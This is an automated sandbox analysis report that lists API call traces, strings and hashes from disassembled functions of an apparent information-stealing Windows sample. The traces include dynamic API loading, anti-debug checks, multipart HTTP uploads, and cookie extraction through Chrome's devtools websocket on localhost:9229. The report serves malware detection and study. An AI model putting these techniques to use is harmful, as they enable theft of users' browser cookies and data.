GetProcAddress.KERNEL32(75900000,02C42BA0), ref: 00419C83
GetProcAddress.KERNEL32(75900000,02C42B20), ref: 00419C9C
GetProcAddress.KERNEL32(75900000,02C48DB8), ref: 00419CB4
GetProcAddress.KERNEL32(75900000,02C48DD0), ref: 00419CCC
GetProcAddress.KERNEL32(75900000,02CBF218), ref: 00419CE5
GetProcAddress.KERNEL32(75900000,02CBF230), ref: 00419CFD
GetProcAddress.KERNEL32(75900000,02C429A0), ref: 00419D15
GetProcAddress.KERNEL32(75900000,02CBF278), ref: 00419D2E
GetProcAddress.KERNEL32(75900000,02CBF260), ref: 00419D46
GetProcAddress.KERNEL32(75900000,02C42980), ref: 00419D5E
GetProcAddress.KERNEL32(75900000,02CBF248), ref: 00419D77
GetProcAddress.KERNEL32(75900000,02CBF290), ref: 00419D8F
GetProcAddress.KERNEL32(75900000,02C42AE0), ref: 00419DA7
GetProcAddress.KERNEL32(75900000,02CBF2A8), ref: 00419DC0
GetProcAddress.KERNEL32(75900000,02C42CA0), ref: 00419DD8
LoadLibraryA.KERNEL32(02CBF2C0,?,00416CA0), ref: 00419DEA
LoadLibraryA.KERNEL32(02CBF2D8,?,00416CA0), ref: 00419DFB
LoadLibraryA.KERNEL32(02CBF0F8,?,00416CA0), ref: 00419E0D
LoadLibraryA.KERNEL32(02CBF1D0,?,00416CA0), ref: 00419E1F
LoadLibraryA.KERNEL32(02CBEFF0,?,00416CA0), ref: 00419E30
GetProcAddress.KERNEL32(75070000,02CBEF90), ref: 00419E52
GetProcAddress.KERNEL32(75FD0000,02CBF008), ref: 00419E73
GetProcAddress.KERNEL32(75FD0000,02CBF1E8), ref: 00419E8B
GetProcAddress.KERNEL32(75A50000,02CBF068), ref: 00419EAD
GetProcAddress.KERNEL32(74E50000,02C42900), ref: 00419ECE
GetProcAddress.KERNEL32(76E80000,02CBEB80), ref: 00419EEF
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00419F06

Strings

NtQueryInformationProcess, xrefs: 00419EFA

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction ID: 85c76ffc39373860cb8090e471c59d53cf6ad49422061259caa86ebb7f60cad9
Opcode Fuzzy Hash: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction Fuzzy Hash: 4DA16FB5D0A2549FC344DFA8FC889567BBBA74D301708A61BF909C3674E734AA40CF62

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00419030: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00419050

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,02CC7220), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,02CC7190,?,02CC6548,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,02CC70D0,00000000,?,02CC1190,00000000,?,00421B0C,00000000,?,0041541F), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT(?,00000000,00000000), ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT(?), ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT(?), ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 004052E7
", xrefs: 00405756
------, xrefs: 0040568B
", xrefs: 00405614
--, xrefs: 004052D0
------, xrefs: 00405407
", xrefs: 004054D2
------, xrefs: 00405549

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: a81d26ec91f96fbf8a05a8f5d715276f9c4e7b91fb0fb5aa956ae4b903f9e187
Instruction ID: 17d44de56e64bdd087ca749706e31b97a9426ac18b0a434e790be536538602ee
Opcode Fuzzy Hash: a81d26ec91f96fbf8a05a8f5d715276f9c4e7b91fb0fb5aa956ae4b903f9e187
Instruction Fuzzy Hash: 34321071A22118ABCB14EBA1DC65FEE7379BF54714F00419EF10662092EF387A98CF59

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,02CC7220), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,02CC71D0,00000000,?,02CC1190,00000000,?,00421B4C), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT(?), ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,02CC7190,?,02CC6548,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

------, xrefs: 00405D9C
S`A, xrefs: 004060CA
S`A, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
", xrefs: 00405D25
------, xrefs: 00405AE6
", xrefs: 00405E66
------, xrefs: 00405C5B

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$S`A$S`A
API String ID: 1406981993-1449208648
Opcode ID: ece7f536badaabeff24f30454e587c13eb1b05989c193d290bb1a0ec0f220d4a
Instruction ID: 528bda5bfb4e43d7cafc1c43cb8ffcda3f2e6465d8e228b0a039cdd5195e34d5
Opcode Fuzzy Hash: ece7f536badaabeff24f30454e587c13eb1b05989c193d290bb1a0ec0f220d4a
Instruction Fuzzy Hash: 1412FC71925128ABCB14EBA1DCA5FEEB379BF14714F00419EF10662091EF783B98CB59

Function 00409BE0 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 141
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409A50: InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 00409A6A

memset.MSVCRT ref: 00409C33
lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 00409C48
lstrcatA.KERNEL32(?,00000000), ref: 00409C5E
connect_to_websocket.CHROME(?,00000000), ref: 00409C76
memset.MSVCRT ref: 00409C9A
lstrcatA.KERNEL32(?,cookies), ref: 00409CAF
lstrcatA.KERNEL32(?,004212C4), ref: 00409CC1
lstrcatA.KERNEL32(?,?), ref: 00409CD5
lstrcatA.KERNEL32(?,004212C8), ref: 00409CE7
lstrcatA.KERNEL32(?,?), ref: 00409CFB
lstrcatA.KERNEL32(?,.txt), ref: 00409D0D
lstrlenA.KERNEL32(00000000), ref: 00409D17
lstrlenA.KERNEL32(00000000), ref: 00409D26

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

memset.MSVCRT ref: 00409D7E
free_result.CHROME(00000000), ref: 00409D8B

Strings

ws://localhost:9229, xrefs: 00409C3C
localhost, xrefs: 00409BF5
/devtools, xrefs: 00409C0B
cookies, xrefs: 00409CA3
.txt, xrefs: 00409D01

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$lstrlen$InternetOpenconnect_to_websocketfree_resultlstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 2548846003-3542011879
Opcode ID: abe8a660a32a9b1891f2a08c3105dbc1e506e52843d3b70187b5b54191b91233
Instruction ID: 9597081ec4872356d8a1e20e182716cfae729ad967be985c4dfb38bd464ab4a8
Opcode Fuzzy Hash: abe8a660a32a9b1891f2a08c3105dbc1e506e52843d3b70187b5b54191b91233
Instruction Fuzzy Hash: 74516D71D10518ABCB14EBA0EC55FEE7738AF14306F40456AF106A70D1EB78AA48CF69

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,02CC7220), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDE,00000000,?,?,00000000,?,",00000000,?,02CC71B0), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,02CC7190,?,02CC6548,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

------, xrefs: 00404B78
------, xrefs: 00404CB9
", xrefs: 00404D83
", xrefs: 00404C42
------, xrefs: 00404A0D

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 927139e4ff79dcccf89a947fe60bb3502d149b71191b8262adec89c01fc198ea
Instruction ID: 9047d27655e640063cf5e546897bb6ee72beef818384a457e6eae52f2661673c
Opcode Fuzzy Hash: 927139e4ff79dcccf89a947fe60bb3502d149b71191b8262adec89c01fc198ea
Instruction Fuzzy Hash: 41121072A121189ACB14EB91DD66FEEB379AF14314F50419EF10662091EF383F98CF69

Function 004062D0 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,02CC7220), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,02CC6548,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

ERROR, xrefs: 00406519
ERROR, xrefs: 00406457
FUA, xrefs: 004062E0, 0040656D, 0040652E, 0040646C, 004062E3
GET, xrefs: 004063CC

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$FUA$GET
API String ID: 3074848878-1334267432
Opcode ID: f3f7255e0d2dc24356a6d92e3ef249651165f71d209c9760ff987d984a1e72ad
Instruction ID: e13f8b4f5a4983f25bfc964ce73e77e76ffbf3c7ad5d81db2c216f4c68459c1c
Opcode Fuzzy Hash: f3f7255e0d2dc24356a6d92e3ef249651165f71d209c9760ff987d984a1e72ad
Instruction Fuzzy Hash: 33718171A00218ABDB14DF90DC59FEEB775AF44304F1081AAF6067B1D4DBB86A84CF59

Function 004184B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

RegOpenKeyExA.KERNEL32(00000000,02CC3558,00000000,00020019,00000000,004205BE), ref: 00418534
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
wsprintfA.USER32 ref: 004185E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
RegCloseKey.ADVAPI32(00000000), ref: 0041861C
RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Strings

- , xrefs: 00418733
%s\%s, xrefs: 004185DD
?, xrefs: 0041850A

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 48b3856a4b7a08adbcf43253a443092526ad4724ebfb5700d99c2b9c1c41cab3
Instruction ID: c228fa157c9b2873a9233ab8a396ad333d8a8ae6667b392d6015aff843962e7d
Opcode Fuzzy Hash: 48b3856a4b7a08adbcf43253a443092526ad4724ebfb5700d99c2b9c1c41cab3
Instruction Fuzzy Hash: 47812D71911118ABDB24DB50DD95FEAB7B9BF08314F1082DEE10966180DF746BC8CFA9

Function 00415760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02CBEB50,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004158F1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415AA7

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00415440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415478

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00415510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415568
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 0041557F
